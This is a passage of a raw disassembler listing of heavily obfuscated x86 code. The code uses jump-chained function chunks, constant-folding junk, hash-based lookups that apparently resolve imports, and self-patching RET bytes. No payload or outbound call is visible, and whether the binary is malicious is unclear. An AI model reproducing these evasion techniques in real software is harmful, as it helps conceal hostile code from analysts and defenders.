sub_7535E0p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00747F3F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007521D4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00752669 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00752BE5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075456C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756132 SIZE 00000019 BYTES pop edx jnb loc_747F3F jmp loc_756132 sub_7535F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462FD loc_7535FC: ; CODE XREF: sub_7462FD+105F2j mov byte ptr [eax], 0C3h jmp loc_74A9B1 ; END OF FUNCTION CHUNK FOR sub_7462FD ; --------------------------------------------------------------------------- call sub_74C45E ; START OF FUNCTION CHUNK FOR sub_74F688 loc_753609: ; CODE XREF: sub_74F688-6914j jmp loc_75643F ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- pop eax add eax, 0B05936B6h js loc_755697 ; START OF FUNCTION CHUNK FOR sub_755F42 loc_75361B: ; CODE XREF: sub_755F42+11j jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- loc_753620: ; CODE XREF: _0z4jwtox:0075005Ej jmp loc_74CC44 ; --------------------------------------------------------------------------- adc ebp, 7D82D109h jmp loc_75115D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_753630: ; CODE XREF: sub_748A22:loc_74CA50j jz loc_756EC2 jmp loc_74DB25 ; END OF FUNCTION CHUNK FOR sub_748A22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_75363C: ; CODE XREF: sub_74F688+6F60j jmp loc_74A854 ; END OF FUNCTION CHUNK FOR sub_74F688 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_753642: ; CODE XREF: _0z4jwtox:007548DBj jmp loc_756118 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_753647: ; CODE XREF: sub_747B31+Dj jmp loc_74D7EE ; END OF FUNCTION CHUNK FOR sub_747B31 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75364C proc near ; CODE XREF: sub_752737:loc_7486A2j ; sub_7500AE:loc_748E39j ... var_6 = byte ptr -6 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007452CE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00745B54 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007467CA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007469DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747166 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747482 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749408 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074ADB7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074FE1C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074FE66 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750269 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 007509BF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007522A2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007533F6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00754B77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756CBA SIZE 0000000D BYTES push ebp mov ebp, esp loc_75364F: ; CODE XREF: sub_755E40:loc_748A06j push ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_7509BF sub_75364C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_75365B: ; CODE XREF: sub_746640+F7E1j add esp, 8 mov eax, [eax] push ecx push 0BAD152EBh pop ecx jmp loc_7522D4 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756974 loc_75366C: ; CODE XREF: sub_756974:loc_752AAAj call sub_7490F6 mov eax, 147A4491h call sub_746E93 mov ds:off_41F094, eax lea eax, sub_756974 mov byte ptr [eax], 0C3h jmp sub_756974 ; END OF FUNCTION CHUNK FOR sub_756974 ; =============== S U B R O U T I N E ======================================= sub_75368F proc near ; DATA XREF: sub_74FA7E+5ABCo add esi, 1341A6BBh mov [esi], eax sub_75368F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_753697: ; CODE XREF: sub_748FA4+CF41j pop esi lea eax, nullsub_14 mov byte ptr [eax], 0C3h jmp loc_74C0ED ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- loc_7536A6: ; CODE XREF: _0z4jwtox:0074D6E3j mov eax, [esp] jmp loc_74D4AA ; --------------------------------------------------------------------------- loc_7536AE: ; CODE XREF: _0z4jwtox:0074D48Dj ; _0z4jwtox:loc_74E647j push offset sub_748B89 jmp loc_749CA4 ; --------------------------------------------------------------------------- sub edi, ecx loc_7536BA: ; CODE XREF: _0z4jwtox:00755691j jmp loc_7515A4 ; --------------------------------------------------------------------------- loc_7536BF: ; CODE XREF: _0z4jwtox:loc_745E0Aj ; _0z4jwtox:007462B8j push 0E6800E8Ah xchg edi, [esp] mov eax, edi pop edi add eax, 7A4F7669h jmp loc_74FE8B ; --------------------------------------------------------------------------- xor ecx, eax jmp sub_748ABC ; --------------------------------------------------------------------------- loc_7536DC: ; DATA XREF: sub_74B305:loc_7567D5o mov eax, [esp] loc_7536DF: ; CODE XREF: _0z4jwtox:loc_750A14j push edx call sub_754A3D mov eax, 0B98DBDD7h push esi push 10DFA6EFh pop esi rol esi, 16h jmp loc_74E880 ; --------------------------------------------------------------------------- loc_7536F9: ; CODE XREF: _0z4jwtox:0074982Aj rol esi, 9 ror esi, 5 push eax ; START OF FUNCTION CHUNK FOR sub_757498 loc_753700: ; CODE XREF: sub_757498:loc_74981Aj rol eax, 13h add eax, 9270ED58h xchg eax, [esp+0] jmp sub_745715 ; END OF FUNCTION CHUNK FOR sub_757498 ; --------------------------------------------------------------------------- mov ds:off_41F17C, eax call sub_750CD5 loc_75371C: ; CODE XREF: _0z4jwtox:00755309j jmp loc_75392D ; --------------------------------------------------------------------------- jmp ds:off_41F010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B305 loc_753727: ; CODE XREF: sub_74B305:loc_7523CFj ; sub_750243:loc_75561Fj ... pop edx jo loc_7567D5 mov eax, [esp+0] push edx push ecx push offset loc_74F0E7 jmp loc_749280 ; END OF FUNCTION CHUNK FOR sub_74B305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_75373D: ; CODE XREF: sub_7465D2+1E25j or ebx, 2B63B263h xor ebx, 9ACAD50Ah add ebx, ebp add ebx, 8E4AD583h mov [ebx], eax pop ebx jmp loc_74B941 ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A83D loc_753759: ; CODE XREF: sub_74A83D+AAFEj mov ecx, esi pop esi pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74A83D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75375E proc near ; CODE XREF: sub_748871p ; sub_74BACE-2E48j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074C900 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074ED92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754F5D SIZE 00000005 BYTES push ebp mov ebp, esp push edi mov edi, ecx jmp loc_754F5D sub_75375E endp ; --------------------------------------------------------------------------- cdq jmp loc_745947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBE6 loc_75376F: ; CODE XREF: sub_74CBE6+A65Cj add dword ptr [ebp-8], 2 jmp loc_74CBFD ; END OF FUNCTION CHUNK FOR sub_74CBE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BED4 loc_753778: ; CODE XREF: sub_75263A-A35Cj ; sub_74BED4+8j test byte ptr [ebp-8], 20h jz loc_748B31 push ebp mov eax, [ebp-20h] call sub_756741 pop ecx mov [ebp-20h], eax jmp loc_746DC8 ; END OF FUNCTION CHUNK FOR sub_74BED4 ; --------------------------------------------------------------------------- loc_753794: ; CODE XREF: _0z4jwtox:00747943j add ebp, 9175699Fh ; =============== S U B R O U T I N E ======================================= sub_75379A proc near ; CODE XREF: sub_749D35+7p ; FUNCTION CHUNK AT 0074C2DF SIZE 0000000D BYTES xchg eax, [esp+0] pop eax jnb loc_74DE2C mov eax, [ebp+8] jmp loc_74C2DF sub_75379A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BCF7 loc_7537AC: ; CODE XREF: sub_74BCF7+6j mov eax, esi xchg eax, [esp+4+var_4] push offset sub_7564D5 jmp loc_74E80C ; END OF FUNCTION CHUNK FOR sub_74BCF7 ; --------------------------------------------------------------------------- db 8Bh dd 0F76CE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_7537C2: ; CODE XREF: sub_748B44+C1C8j jnz loc_757357 jmp loc_74C920 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_7537CD: ; CODE XREF: sub_75043C-80F2j jz loc_7521CD cmp eax, 0FFFFFFFFh jz loc_7521CD mov eax, [eax] jmp loc_7450BB ; --------------------------------------------------------------------------- loc_7537E3: ; CODE XREF: sub_75043C:loc_748342j or eax, eax jz loc_7521CD cmp eax, 0FFFFFFFFh jz loc_7521CD jmp loc_7521C6 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- mov edx, ds:dword_74B938 mov ebx, [edx] sub ebx, eax mov ecx, [ebp-4] jmp loc_752F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756691 loc_75380B: ; CODE XREF: sub_756691:loc_745A6Ej push ecx call sub_755F77 loc_753811: ; DATA XREF: _0z4jwtox:00753592o add ecx, 2FB3FCE9h xchg ecx, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_756691 ; --------------------------------------------------------------------------- loc_75381F: ; CODE XREF: _0z4jwtox:loc_75601Fj mov eax, 0C7CC2482h call sub_746E93 mov ds:off_41F170, eax lea eax, sub_756A5B mov byte ptr [eax], 0C3h jmp loc_756F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_75383D: ; CODE XREF: sub_7491FD+5j mov eax, [esp+4+var_4] jmp loc_74B5CD ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CB79 loc_753845: ; CODE XREF: _0z4jwtox:0074A98Aj ; sub_74CB79:loc_74CB84j or ebx, 0E8064134h push offset sub_7553F4 jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_74CB79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_753855: ; CODE XREF: sub_752957:loc_74E20Aj mov byte ptr [eax], 0C3h jmp nullsub_3 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- call nullsub_291 jmp ds:dword_41F034 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_291. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jz loc_7528A5 mov eax, [esp] push edx jmp loc_745D87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_753878: ; CODE XREF: sub_74C670-220j xor esi, 0F22F419Ch shl esi, 19h not eax cmp ebp, 5AA4F79h jmp loc_7520F1 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_75388E: ; CODE XREF: sub_74F73B+810Cj jnb loc_747862 jmp sub_756B35 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- mov eax, 350D36C3h push offset sub_75630E jmp locret_74F654 ; --------------------------------------------------------------------------- cdq jmp sub_7570CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750A63 loc_7538AE: ; CODE XREF: sub_750A63+Fj pop esi rol esi, 0Ch cmp esi, 5BF47C10h jmp loc_74E8FC ; END OF FUNCTION CHUNK FOR sub_750A63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_7538BD: ; CODE XREF: sub_74FE55-90D9j ; sub_74698F:loc_754B4Fj pushf push 687C9830h sub eax, ebx jmp loc_74D356 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_7538CA: ; CODE XREF: _0z4jwtox:007487A5j call sub_747892 push 0D38D14DBh pop eax add eax, 3C1E4BD5h or eax, 6B0D6361h and eax, 83F56F41h xor eax, 3C595300h call sub_746E93 jmp loc_749349 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_7538F7: ; CODE XREF: sub_750638-12F5j mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_753915: ; CODE XREF: _0z4jwtox:loc_74EDF9j jb loc_7543FE jmp loc_755D8A ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_753920: ; CODE XREF: sub_749306:loc_7575D9j jl loc_75557B mov esi, ebp jmp loc_75556F ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- loc_75392D: ; CODE XREF: _0z4jwtox:loc_75371Cj jnz loc_754653 jmp loc_753195 ; --------------------------------------------------------------------------- mov eax, 0BEB860A6h call sub_746E93 loc_753942: ; CODE XREF: _0z4jwtox:loc_74E9A7j push eax mov eax, edi xchg eax, [esp] push 6298B055h call sub_74F1FE loc_753952: ; CODE XREF: _0z4jwtox:00752837j jmp loc_746002 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_753957: ; CODE XREF: sub_74C8DA-139Bj jmp loc_752554 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7BD loc_75395C: ; CODE XREF: sub_74A7BD+8j jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_74A7BD ; --------------------------------------------------------------------------- xchg eax, [esp] pop eax js loc_752BA2 pop edx mov eax, [esp] push edi jmp loc_749E9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_753975: ; CODE XREF: sub_747C22-AA1j mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz loc_747DC8 jmp loc_752BBA ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- push 0CE5F74A7h pop eax and eax, 0BCC763D6h rol eax, 1Bh xor eax, 519A9354h push eax push 0B189CC69h pop eax jmp loc_7552AE ; --------------------------------------------------------------------------- loc_7539A8: ; CODE XREF: _0z4jwtox:007479ACj jb loc_7527B4 ; =============== S U B R O U T I N E ======================================= sub_7539AE proc near ; CODE XREF: sub_752B0C:loc_74D74Ap ; FUNCTION CHUNK AT 00745E82 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074867F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-20h] call sub_74A445 pop ecx jmp loc_745E82 sub_7539AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_7539C0: ; CODE XREF: sub_74A7D8:loc_74530Fj ; sub_745C55:loc_745D7Cj ... jmp loc_7525C0 ; --------------------------------------------------------------------------- loc_7539C5: ; CODE XREF: sub_745C55-588j ; sub_74A7D8+5521j push offset sub_74CB79 jmp loc_746CE3 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_7539CF: ; CODE XREF: _0z4jwtox:007531E8j retn ; --------------------------------------------------------------------------- loc_7539D0: ; CODE XREF: _0z4jwtox:0074F0E2j jmp loc_755EF9 ; --------------------------------------------------------------------------- loc_7539D5: ; CODE XREF: _0z4jwtox:loc_75721Fj ; DATA XREF: sub_7462FD:loc_75720Ao mov eax, offset dword_74F3BC call sub_74F144 mov al, [ebp-5] pop ebx jmp loc_748413 ; --------------------------------------------------------------------------- loc_7539E8: ; CODE XREF: _0z4jwtox:loc_752350j jl loc_750F9A jp loc_755C3D jns loc_750104 cmp ecx, 8F381190h jmp loc_749E60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E40A loc_753A05: ; CODE XREF: sub_74E40A+13j jnb loc_748DF5 jnp loc_74C114 push ebx jmp loc_748DF5 ; END OF FUNCTION CHUNK FOR sub_74E40A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pushf adc ebp, edi jmp sub_750A63 ; --------------------------------------------------------------------------- mov [ebp-4], eax ; START OF FUNCTION CHUNK FOR sub_7510EA loc_753A23: ; CODE XREF: sub_75275A-C86Fj ; sub_7510EA-29FAj ... mov eax, [ebp-24h] push edi push 23A4F769h pop edi rol edi, 6 jmp loc_756070 ; END OF FUNCTION CHUNK FOR sub_7510EA ; --------------------------------------------------------------------------- jnp loc_751294 jmp sub_74B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_753A40: ; CODE XREF: sub_750243-24C1j cmp byte ptr [eax], 0 push offset loc_756F90 jmp loc_74BAF5 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- mov ds:off_41F06C, eax call sub_747109 ; START OF FUNCTION CHUNK FOR sub_74C7A2 loc_753A58: ; CODE XREF: sub_74C7A2-4969j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74C7A2 ; --------------------------------------------------------------------------- loc_753A5D: ; CODE XREF: _0z4jwtox:0075133Aj call sub_745183 ; START OF FUNCTION CHUNK FOR sub_74F69D loc_753A62: ; CODE XREF: sub_74F69D-40EAj jmp loc_7505CB ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_753A67: ; CODE XREF: sub_7462C2+Ej jmp loc_752B7A ; END OF FUNCTION CHUNK FOR sub_7462C2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_753A6D: ; CODE XREF: sub_75622B+FB0j jmp loc_75645F ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_753A72: ; CODE XREF: sub_755F42-C4C1j jmp loc_74C3FC ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- loc_753A77: ; CODE XREF: _0z4jwtox:0074C067j sub eax, 480420CCh shr edi, 17h adc eax, 9CC6D191h jmp loc_74BD9E ; --------------------------------------------------------------------------- loc_753A8B: ; CODE XREF: _0z4jwtox:0074EAF3j add edi, 5DD7EF4Eh and edi, 5EFFE3AEh rol edi, 17h add edi, 0EC5314C8h xchg edi, [esp] jmp loc_75217E ; --------------------------------------------------------------------------- jmp loc_415E11 ; =============== S U B R O U T I N E ======================================= sub_753AAD proc near ; CODE XREF: _0z4jwtox:00746FEDp ; sub_75582A+Ap call sub_74F30D loc_753AB2: ; CODE XREF: _0z4jwtox:0075458Ej jmp sub_754E36 sub_753AAD endp ; --------------------------------------------------------------------------- loc_753AB7: ; CODE XREF: _0z4jwtox:0075072Bj jmp loc_75762E ; --------------------------------------------------------------------------- loc_753ABC: ; DATA XREF: _0z4jwtox:00752C84o add ebx, eax call sub_7571FF ; START OF FUNCTION CHUNK FOR sub_747C22 loc_753AC3: ; CODE XREF: sub_747C22:loc_7552F0j push 836EE88Ch add ecx, 0A749AEFDh jl loc_74A8EE jmp loc_74AB2F ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- sub esi, 9BB66FFEh xor ebx, 0AFD17303h jmp sub_753D03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_753AEA: ; CODE XREF: sub_747736+D1E3j jge loc_750AEE ror edi, 4 cdq loc_753AF4: ; CODE XREF: sub_7572F3:loc_749D2Aj ; _0z4jwtox:0074C1C3j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_74EDEF ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_753AFF: ; CODE XREF: sub_7475CB+40ACj jno nullsub_56 xchg ebp, [esi] loc_753B07: ; CODE XREF: sub_7475CB:loc_74759Cj push 6FBD6CB2h pop eax rol eax, 0Dh jmp loc_74F481 ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_753B15: ; CODE XREF: sub_756496-ACB9j jb loc_74E047 shl ecx, 7 xor ebx, 9E3B3F05h jmp loc_74B2DA ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E11E loc_753B29: ; CODE XREF: sub_74E11E:loc_74C286j or edi, 0B08404D8h loc_753B2F: ; CODE XREF: sub_748B52+DB60j add edi, 449DE83Eh popf xchg edi, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74E11E ; =============== S U B R O U T I N E ======================================= sub_753B3E proc near ; DATA XREF: sub_74BA29+4F19o ; FUNCTION CHUNK AT 007550FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007558AD SIZE 00000010 BYTES xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_754EB3 mov eax, [ebp-4] jmp loc_7550FE sub_753B3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_753B55: ; CODE XREF: sub_74C670:loc_74EBECj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_755BF9 jmp loc_74DABB ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_753B69: ; CODE XREF: _0z4jwtox:0074931Ej jnz loc_7483A7 sbb edi, edx jmp loc_7483A0 ; --------------------------------------------------------------------------- push 0CFA036BCh pop eax ; START OF FUNCTION CHUNK FOR sub_747C39 loc_753B7C: ; CODE XREF: sub_747C39:loc_751FBBj add eax, 0C293D2FBh or eax, 0AC7DF17Ch and eax, 53F4DAE6h jmp loc_754529 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745276 loc_753B93: ; CODE XREF: sub_745276:loc_745280j call sub_74F9E6 ; END OF FUNCTION CHUNK FOR sub_745276 ; START OF FUNCTION CHUNK FOR sub_754175 loc_753B98: ; CODE XREF: sub_754175+2070j jmp loc_7534C6 ; END OF FUNCTION CHUNK FOR sub_754175 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755B22 loc_753B9D: ; CODE XREF: sub_755B22+1Aj jmp loc_7506F7 ; END OF FUNCTION CHUNK FOR sub_755B22 ; --------------------------------------------------------------------------- loc_753BA2: ; CODE XREF: _0z4jwtox:00745E10j cmp ebx, esi jmp loc_7462AB ; --------------------------------------------------------------------------- loc_753BA9: ; CODE XREF: _0z4jwtox:loc_75535Ej ; _0z4jwtox:0075536Dj xor eax, 0BE03ACA9h add eax, 97351BECh call sub_754779 ; START OF FUNCTION CHUNK FOR sub_74E685 loc_753BBA: ; CODE XREF: sub_74E685-8105j jmp loc_74603E ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_753BBF: ; CODE XREF: sub_74673E+1Ej mov eax, [ebp-4] cmp byte ptr [eax], 0 call sub_746128 loc_753BCA: ; CODE XREF: sub_74CBCF+217Fj jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- push ecx push 0D1DE1535h pop ecx and ecx, 0BA4AE9F7h rol ecx, 0Dh and ecx, 0A4615113h jmp loc_74810A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_753BEA: ; CODE XREF: sub_7544F1-CC39j xor eax, 158671F9h sub eax, 5007F0BFh loc_753BF6: ; CODE XREF: sub_74FF79:loc_752208j push ebp mov ebp, edi xchg ebp, [esp+4+var_4] jmp loc_752126 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F30D loc_753C01: ; CODE XREF: sub_74F30D+37CDj cmp edx, 237EB7BAh jmp loc_75154A ; END OF FUNCTION CHUNK FOR sub_74F30D ; --------------------------------------------------------------------------- sub esi, 0E831D9C1h ; START OF FUNCTION CHUNK FOR sub_752737 loc_753C12: ; CODE XREF: sub_752737:loc_745C4Dj push 29242FFBh jmp sub_74E58E ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- loc_753C1C: ; CODE XREF: _0z4jwtox:loc_74C0D2j add ecx, 0BB449119h xchg ecx, [esp] jmp sub_755C10 ; =============== S U B R O U T I N E ======================================= sub_753C2A proc near ; CODE XREF: sub_747546:loc_754800p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074968D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg ecx, [esp-4+arg_0] jmp loc_74968D sub_753C2A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_753C36: ; CODE XREF: _0z4jwtox:00755B84j jz loc_7578AD jmp loc_75223F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_753C41: ; CODE XREF: sub_74BD6F:loc_7452C2j add ebx, ebp add ebx, 49CAA80Eh loc_753C49: ; CODE XREF: sub_747290:loc_745CA4j mov [ebx], eax push offset loc_74D166 jmp loc_7495B4 ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7468F2 loc_753C55: ; CODE XREF: sub_7468F2:loc_746903j xor edx, edx loc_753C57: ; CODE XREF: _0z4jwtox:loc_74C5A0j mov dl, [ebp-9] shr edx, cl or eax, edx mov edx, [ebp-8] mov [edx], al mov eax, [ebp-8] mov al, [eax] jmp loc_74C281 ; END OF FUNCTION CHUNK FOR sub_7468F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_753C6D: ; CODE XREF: sub_7490F6+1j mov ebp, esp push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_749157 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- db 52h, 68h, 2 dd 5AF315E4h, 256CCA81h, 0EA817E12h, 459D949Bh, 0C2F7h dd 0ECE91000h db 86h, 0FFh db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_753C9C: ; CODE XREF: sub_755C38+15j jmp loc_751112 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_753CA1: ; CODE XREF: sub_752DF2-BEFCj jmp loc_7522F7 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- loc_753CA6: ; DATA XREF: sub_74DF5E+7D4Do mov eax, [eax] add eax, [ebp-4] call sub_750243 cmp eax, [ebp-8] jmp loc_74A86D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_753CB8: ; CODE XREF: sub_74CF35:loc_74AEF7j test edx, 10h jmp loc_747CD0 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- xchg ebx, ecx jbe loc_74A9DE jmp sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_753CD0: ; CODE XREF: sub_7561AB:loc_74D269j jz loc_74AC9A jmp loc_75648C ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_753CDB: ; CODE XREF: sub_74724C:loc_74F395j mov eax, [esp+0] loc_753CDE: ; CODE XREF: _0z4jwtox:loc_7504B9j push edx call sub_754E36 mov eax, 0DBE351CFh call sub_746E93 jmp loc_75636C ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F3C6 loc_753CF3: ; CODE XREF: sub_74F3C6+19j add edx, 67338592h call sub_757251 loc_753CFE: ; CODE XREF: _0z4jwtox:00752197j jmp loc_756823 ; END OF FUNCTION CHUNK FOR sub_74F3C6 ; =============== S U B R O U T I N E ======================================= sub_753D03 proc near ; CODE XREF: sub_74D1F3-470Bp ; _0z4jwtox:00753AE5j xchg esi, 